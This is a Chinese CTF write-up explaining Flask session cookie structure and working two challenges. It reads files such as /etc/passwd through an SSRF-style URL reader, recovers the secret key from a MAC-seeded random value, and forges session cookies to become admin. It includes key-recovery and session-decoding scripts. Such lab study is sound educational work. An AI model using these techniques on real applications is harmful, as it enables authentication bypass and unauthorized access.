对flask session伪造的学习
flask session 伪造
一、session的作用
由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息
二、flask session的储存方式
第一种方式:直接存在客户端的cookies中
第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库
flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。
三、flask的session格式
flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
session数据 时间戳 签名
时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;
签名:是利用Hmac
算法,将session数据和时间戳加上secret_key
加密而成的,用来保证数据没有被修改。
四、flask session伪造
上面我们说到flask session是利用hmac算法将session数据,时间戳加上secert_key成的,那么我们要进行session伪造就要先得到secret_key,当我们得到secret_key我们就可以很轻松的进行session伪造。
session伪造工具:https://github.com/noraj/flask-session-cookie-manager
例题:
[CISCN2019 华东南赛区]Web41
进入面点击readsomething
发现通过url参数返回了百度的页面 猜测存在任意文件读取
尝试读取文件
/etc/passwd
查看当前进程:/proc/self/cmdline
这里我们可以知道是python的后台,源码在app.py里面
尝试读取源码
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
很明显这是一道flask session伪造的题目,要求session中username=fuck
那么要进行伪造我们要先得到secret_key
通过源码我们能够得到secret_key的构造方法
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
andom指定了seed那么生成的随机数是固定的
看一下uuid.getnode()的作用
那我们可以通过读取当前的mac地址从而得到secret_key
/sys/class/net/eth0/address 获得mac地址
import uuid
import random
mac = "c6:bc:6b:39:0a:98"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*233)
print(randStr)
这里在编译的时候要选择python2
因为python2 和python3的保存位数不一样
那么这样我们就得到了secret_key
接下来就可以进行session伪造了
首先先对当前的session进行解密,查看session的格式
python3 flask_session_cookie_manager3.py decode -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48pCw.jSI45FJchx1e5pmIMuxPxvo4m9E' -s '210.13041538'
上面要求username=fuck
将 www-data改为fuck进行伪造
修改session ,访问/flag得到flag
[HCTF 2018]admin
注册个账号登录
在前端代码里面发现了源码地址
访问源码
在index.html里面可以得到这是一道session伪造的题目
当session里面的name等于admin的时候会得到flag
这里通过大佬的解密脚本对session进行解密
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode())) # 运行时需要输入一个参数
可以得到session的格式
{'_fresh': True, '_id': b'93eab957b317f3c68c15b2cc1378d63f0a8d4027b8f0972000c58853c987180b1591e7c5857fa7ce5301f633ef92ef79dc88eafeac81c43353dcc911ee8c138b', 'csrf_token': b'65dc81d270662cbaaad4f5c3bc7e06a6156a6b87', 'image': b'BVE6', 'name': 'guo', 'user_id': '10'}
我们需要将name改为admin才能够得到flag
但是要进行session伪造,要先得到secret_key
在config.py里面可以得到secret_key :ckj123
这里继续通过工具进行sesison伪造
然后修改session我们就可以得到flag